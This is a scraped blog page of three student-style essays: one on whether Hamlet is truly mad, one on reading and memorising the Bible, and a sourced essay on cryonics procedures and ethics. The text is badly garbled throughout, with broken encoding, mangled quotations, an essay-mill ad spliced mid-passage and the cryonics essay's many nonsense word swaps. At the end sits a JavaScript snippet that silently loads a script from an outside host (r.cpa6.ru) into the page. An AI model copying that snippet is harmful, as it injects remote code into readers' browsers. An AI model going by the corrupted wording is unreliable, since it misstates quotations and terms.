Tuesday, December 24, 2019

Hamlet is not Insane in Shakespeares Halmet Essay

Alas hes mad (3:4:108) How far do you agree with the statement that Hamlet is mad? A great controversial talking point of the play Hamlet is whether he was mad or in fact making people think he was mad. I disagree with Gertrudes statement that Hamlet is mad. I ask you what the definition of madness, the relatively permanent disorder of the mind, a state of mind characterized by the inability to distinguish right from wrong. Indeed Hamlet only acts mad in front of certain people such as his mother, Polonius, Ophelia, Claudius, Rosencrantz and Guildenstern who he knows are spying on him. I think Hamlet by using his mad faà §ade hides his real intentions and motivations from his enemies and people that will give away information,†¦show more content†¦(3: 176-180) Claudius says that Hamlets emotions are not from affection. What he does is not insane, it has a higher reason. Hamlet knows something is going on and that he is going to find it out although he does find this out in very unethical terms. Part of his way to hide his motives is by acting mad so he can set about his plan undeterred. With reference to ?There?s something in his soul.? In Hamlet people make many referenc es to his soul, ?Thy devil take thy soul!? maybe hinting that the problem with Hamlet is not insanity but his soul contains the problem. This could possibly fit into the description of the black bile that the Elizabethans believed needed to be bled out in order to make the person saner. The Elizabethans believed that some mentally disabled people were possessed and that madness has a close relationship with god reflecting in the use of Hamlets soul. If Hamlet were truly mad then he would not delay so much throughout the play for a mad man is unable to distinguish right from wrong. Does a mad man have a conscience? When Hamlet is stood after the play waiting to kill Claudius, even though full of rage and hatred he sees Claudius praying and that delays him killing him. This shows Hamlet having a conscience if his mind was unstable surely his actions would have reflected differently. ?They are not near my conscience.? At the beginning of the play a group of people see the ghost but when the ghost

Sunday, December 15, 2019

The Word of God Free Essays

We should read and study the Bible because it is totally reliable and without error. oThe Old Testament writers claimed many times they were speaking the word of God. Isaiah 1:2 â€Å"Hear, O heavens, and give ear, O earth; for the Lord has spoken: â€Å"Children have I reared and brought up, but they have rebelled against me. We will write a custom essay sample on The Word of God or any similar topic only for you Order Now † oThe New Testament writers confirmed the Old Testament was God speaking. Hebrews 4:12 â€Å"For the word of God is living and active, sharper than any two-edged sword, piercing to the division of soul and of spirit, of joints and of marrow, and discerning the thoughts and intentions of the heart. oThroughout the Bible, God warns not to add, to take away from His Word. Rev. 22:18-19 â€Å"I warn everyone who hears the words of the prophecy of this book: if anyone adds to them, God will add to him the plagues described in this book, [19] and if anyone takes away from the words of the book of this prophecy, God will take away his share in the tree of life and in the holy city, which are described in this book. † oJesus in His sayings confirmed the Old Testament as being without error. Luke 24:44 â€Å"These are my words that I spoke to you while I was still with you, that everything written about me in the Law of Moses and the Prophets and the Psalms must be fulfilled. † oThose involved in science say the Bible is not accurate, but every time science tries to disprove the Bible, it ends up proving it. The Bible has never changed over the thousands of years since it was written. The Bible is authoritative and can be trusted as such. No piece of literature even approaching its age comes close to having the supportive textual evidence indicating authenticity that the Bible has. It is simply the most reliable text in existence. We should read and study the Bible because there is so much false teaching. The Bible gives us the measuring stick by which we can distinguish truth from error. Amos 7:8 â€Å"And the Lord said to me, â€Å"Amos, what do you see? † And I said, â€Å"A plumb line. † Then the Lord said, â€Å"Behold, I am setting a plumb line in the midst of my people Israel; I will never again pass by them;† All Christians should study the Bible each day. Psalm 119:15 â€Å"I will meditate on your precepts and fix my eyes on your ways. Psalm 1:1-3 â€Å"Blessed is the man who walks not in the counsel of the wicked, nor stands in the way of sinners, nor sits in the seat of scoffers; [2] but his delight is in the law of the Lord, and on his law he meditates day and night. [3] He is like a tree planted by streams of water that yields its fruit in its season, and its leaf does not wither. In all that he does, he prospers. † Th e best time to study is in the morning because the Bible refers frequently to things being done early in the morning. Isaiah 50:4 â€Å"The Lord God has given me the tongue of those who are taught, that I may know how to sustain with a word him who is weary. Morning by morning He awakens; He awakens my ear to hear as those who are taught. † It is highly recommended that two Bibles be used. One is the main Bible and the other is a study Bible with full notes. The Bible should not be read as a textbook but as the word of God. Before even opening the Bible to read, it is best to ask the LORD to reveal something fresh that will help in one’s daily walk. The different approaches to reading the Bible are: oHearing oReading oWriting oStudying oMeditating oMemorizing. oApplication The following study aids will also be necessary to help understand the Bible: oA concordance (Young’s, Strong or Cruden’s) A Bible dictionary oA commentary on the Bible oVines Expository Dictionary of Old and New Testament Words oA good English dictionary oA notebook to record impressions oA Bible marker to highlight certain passages that make a special impression The Bible can be read through from beginning to end or a daily program followed where both Old and New Testament portions are read each day until the whole Bible is read. But keep in mind that the goal is not to get through the Bible as quickly as possible but rather to absorb it as the word of God. For centuries the Bible has been a fixed point of reference and no matter how far society and individuals have strayed, the Bible has served as a guide for human conduct, a moral framework producing a sense of right and wrong, a source of truth, an inspiration for the arts, music, literature and a beacon for personal behavior. Philip. 4:8-9 â€Å"Finally, brothers, whatever is true, whatever is honorable, whatever is just, whatever is pure, whatever is lovely, whatever is commendable, if there is any excellence, if there is anything worthy of praise, think about these things. 9] What you have learned and received and heard and seen in me—practice these things, and the God of peace will be with you† Bible meditation Meditation means pondering by talking to oneself, musing, thinking, or reflection. It involves allowing the mind to become saturated with God’s words. Meditation involves the heart; memorization involves the mind. Bible meditation contains the secret t o happiness, fruitfulness, freshness, progress, prosperity, success and victory over enemies. 1 Tim. 4:15 â€Å"Practice these things; devote yourself to them, so that all may see your progress. Some ways to meditate are: oMemorize a section of the Bible oQuote the section (verse) to the Lord as a personal prayer oRepeat the section several times each time, emphasize a different word oVisualize the significance of each word as far as you can oRepeat the section and ponder on the full meaning of each word oRest – let the words grow in your mind, will and emotions. oUse section to talk with God oPonder each word for personal application oExpect God to bring this section to your mind for decisions and show you ew insights from it. The Bible equips us to serve God. Ephesians 4:11-13 â€Å"And he gave some, apostles; and some, prophets; and some, evangelists; and some, pastors and teachers; (12) For the perfecting of the saints, for the work of the ministry, for the edifying of the body of Christ: (13) Till we all come in the unity of the faith, and of the knowledge of the Son of God, unto a perfect man, unto the measure of the stature of the fullness of Christ† Memorizing Bible verses is important – more important than many people realize. It is not to score well with God and others, but to help disciples become more equipped for ministry. John 14:26 â€Å"But the Helper, the Holy Spirit, whom the Father will send in My name, He will teach you all things and bring to your remembrance all that I have said to you. † Jesus subdued the enemy at the temptation simply by quoting verses He had memorized from Deuteronomy. Jesus demonstrates both the importance and effectiveness of knowing and applying Scripture to combat temptation. (Matthew 4:1-7) How to cite The Word of God, Papers

Saturday, December 7, 2019

Cryonics Essay Research Paper free essay sample

Cryonicss Essay, Research Paper # 8220 ; From the clip they # 8217 ; rhenium Born, human existences are driven by an impulse to take things apart and set them back together. A little group of rebel scientists have decided to take this procedure one measure further. Their undertaking, called cryonics, aims to take apart and reassemble the universe # 8217 ; s most complicated machine: the human organic structure ( Epstein 16 ) . # 8221 ; Cryonicss is the pattern of stop deading human organic structures in the hope that one twenty-four hours, it is possible to resuscitate these people and reconstruct them back to wellness. Although this thought may look unusual and impracticable at first, cryonics is however practiced today by several groups of quite rational people in the United States ( Harris 20 ) . Through stop deading and/or desiccation, the life maps of certain populating beings can be halted by being put into full suspended life. Subsequently, the being can be revived at the scientist # 8217 ; s leisure ( Tompkins 1B ) . Many different cells and tissues can be frozen in liquid N at about absolute nothing ( Settles ) . # 8220 ; In the frozen province, there is no metamorphosis ; the machine has stopped, life has stopped. # 8221 ; Recently, it has been demonstrated that certain tissues can even be lyophilized without harm and stored at room temperature on a shelf ( Harris 21 ) . And every bit astonishing as it might look, the machine can be made to populate and work to the full once more ; a figure of healthy babes have been born in recent old ages which developed from embryos that at one clip had been frozen to the point of holding no metamorphosis at all ( Harris 21 ) . Even old ages back, scientists refused to believe that decease was adult male # 8217 ; s concluding frontier. In 1964, college professor Robert Ettinger, who besides had his female parent frozen, wrote The Prospect of Immortality. His book suggested that people could be frozen in # 8220 ; suspended decease # 8221 ; until medical engineering could bring around what had killed them and # 8220 ; take a breath new life into their organic structures ( Epstein 16 ) . # 8221 ; Ettinger argued that cryogenies and medical engineering were presently advanced plenty to make the stop deading portion of the cryonics saving process, and that the ability to make this comparatively simple process was all that was required to do cryonics practical now. # 8220 ; We could get down instantly # 8221 ; , said Ettinger, # 8220 ; and allow the truly hard portion, dissolving and resurgence, be taken attention of by more knowing people subsequently [ on in clip ] ( Harris 21 ) . # 8221 ; After a individual is declared clinically dead and is lawfully certified to be frozen, a suspension squad prepares the organic structure for a big Dewar flask. Normally, a individual deceasing in the infirmary will already hold an intra-venous line in them which is used by the suspension squad to administrate about 20 different sorts of medicine ( Morgan 51 ) . First Heparin is given to forestall blood coagulums. Potassium chloride, Phenobarbital, or some other similar sort of chemical is used to deject the encephalon metamorphosis so that the cells can remain alive but in a less active province. Other chemicals are besides given to maintain the sourness degree changeless and to cut down encephalon force per unit area ( Tompkins 1C ) . Calcium channel blockers to forestall Ca from going into the cells and get downing a figure of chemical reactions that typically do a batch of encephalon harm are besides dispensed ( Morgan 51 ) . The drugs are so followed by manual CPR and so finally with a heart-lung resuscitator ( Morgan 52 ) . A femoral beltway is so conducted at a proper installation. The femoral arteria and the vena in the leg are opened and hooked up to a pump. The full vascular system of the patient is so flushed ( Morgan 53 ) . The blood is washed out wholly and replaced with the same solution DuPont makes to blush Black Marias and kidneys for grafts. # 8220 ; That solution can maintain variety meats alive sometimes every bit long as 20 four hours in a cool phase ( Morgan 53 ) . # 8221 ; All of the encephalon cells at that point are besides protected. # 8220 ; Because the fluids given are normally pre-chilled, the patient is being cooled even more quickly down to two or three grades above freezing. # 8221 ; At that point, the circuit is closed away, the patient is covered in ice, and so transported to where the following set of processs will take topographic point ( Morgan 53 ) . Freezing harm is usually caused by H2O turning into ice. Contrary to most liquids and their solid counter-parts, H2O expands when it turns into ice, organizing crystals. Because of the saline ( salt ) content, the H2O is harder to stop dead doing the ice to organize mediate the cells, non in the cells. When the H2O starts freeze, it expands and crushes the cells jabing holes, hence taking to more harm because of extra unstable elimination. This is why 70 per centum of the H2O in the patient is replaced by glycerin which prevents a batch of this harm. Glycerol does non spread out when it freezes, so the more glycerin that is injected, the better. Glycerol is besides used normally to stop dead sperm and human embryos ( Morgan 54 ) . R / gt ; After the replacing with glycerin is complete, the patient is placed in a bath of silicone oil. # 8220 ; The patient is so placed in a particular armored combat vehicle wrapped in a sleeping bag and in an aluminium cod for protection. # 8221 ; Over several yearss, utilizing liquid N, the patient is dropped down to minus one-hundred and 90 six ( -196 ) degrees Celsius. # 8220 ; At that point they are placed in a particular chromium steel steel armored combat vehicle, vacuum insulated like a thermos, and held at that temperature until scientific discipline can [ one twenty-four hours, in the far future, successfully ] revive these patients ( Morgan 55 ) . # 8221 ; # 8220 ; Success with hamsters and monkeys is conveying the thought to new degrees. Can people populate everlastingly? Cryonicists think so ( Epstein 18 ) . # 8221 ; Enough grounds has been collected to show that cryonics has contributed to research, organ saving, and bloodless surgery ( Epstein 18 ) . The American Cryonics Society of Stockton, California, the Alcor Life Extension Foundation of Riverside, California, and the Cryonics Institute of Oak Park, Michigan, are the major organisations that freeze people in the United States ( Epstein 19 ) . There are about 21 people in cryonic suspension, with about two-hundred and 50 others waiting for their death to undergo the process ( Epstein 19 ) . Many obvious obstructors and contentions are traveling to get with this new method of saving. # 8220 ; When extremist extensions of the human life span become possible, will we desire them? Should we hold them ( Harris 24 ) ? # 8221 ; Cryonicists assume that a society in the hereafter will be rich plenty to afford historically interesting luxuries like freshly thawed people. # 8220 ; A farther premise is that the passage of the present civilization to such an flush hereafter society will be smooth, without any important societal or economic upheavals. # 8221 ; And what about other problems? Long before the clip when frozen people can be revived, humanity will hold found it necessary to badly command its birth rate. Is it likely that a society that could no longer welcome new babes will desire to revive people who have already had full lives and now are dead ( Harris 22 ) ? There are besides the economic adversities that will attach to this engineering: several hundred dollars a twelvemonth in rank fees while one is alive, plus the cost of keeping an excess $ 35,000 to $ 150,000 life-insurance policy. # 8220 ; The American Cryonics Society, which has seven frozen and one-hundred and 14 signed up, by and large offers whole-body suspension for $ 125,000 and will continue merely the caput, a process called neuropreservation, for $ 50,000 ( Epstein 19 ) . # 8221 ; Dr. Philip Marden MD, had his male parent buried in the permafrost part of Canada because he could non afford the cryonics process ( Epstein 19 ) . There is besides the societal loss of the cryonics fund money, which would otherwise be available to dependent organisations such as charities and third-world states. Third, there is besides the ever of import job of what the society will believe. # 8220 ; Here there is a existent possibility of loss of regard from about everyone: Religious common people are likely to see cryonics as a kind of mortuarial Tower of Babel and there might even be loss of regard from socially witting deists once more because that money could hold gone to Ethiopia or CODESH ( Harris 24 ) . # 8221 ; On the impudent side, there are possible additions from engagement in cryonics that are independent of whether the technique works or non. Chief among these is that cryonics provides a certain sum of comfort for the spiritual disbeliever. Some of the sting and daze of a household decease can be removed if there remains a opportunity that the decease is non lasting. # 8220 ; Of class, the faultfinder will notice that stop deading a cadaver is much like seting leftover nutrient in the icebox because one can non digest the waste implied in throwing it off instantly. Even if the nutrient is neer reheated, it is easier to fling if done in two separate stairss. And so it is, possibly, with a dead loved-one ( Harris 25 ) . # 8221 ; # 8220 ; For 1000s of old ages, world has been conditioned to accept decease, # 8221 ; said Ettinger, # 8220 ; I grew up anticipating that one twenty-four hours old age would be preventable and reversible ( Epstein 17 ) . # 8221 ; I guess his verisimilitude, along with the dreams and wants of many optimists with wild yet evidently antic imaginativenesss, is being pressed to finally come true. 50c Epstein, Miles. # 8220 ; The Big Chill. # 8221 ; American Legion Magazine. September, 1990: 16+ . Harris, Steven B. # 8220 ; Many Are Cold but Few Are Frozen: A Humanist Looks at Cryonics. # 8221 ; Free Inquiry. Spring 1989: 19-24. Morgan, Jas. # 8220 ; Souls on Ice. # 8221 ; Mondo 2000. Spring / Summer 1995: 50+ . Settles, Gary S. # 8220 ; Cryogenics. # 8221 ; The 1995 Groiler Multimedia Encyclopedia. Tompkins, Wayne. # 8220 ; Mummification Program Revives Ancient Option for Afterlife. # 8221 ; NEWS. February 4, 1990: 1A-1E. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;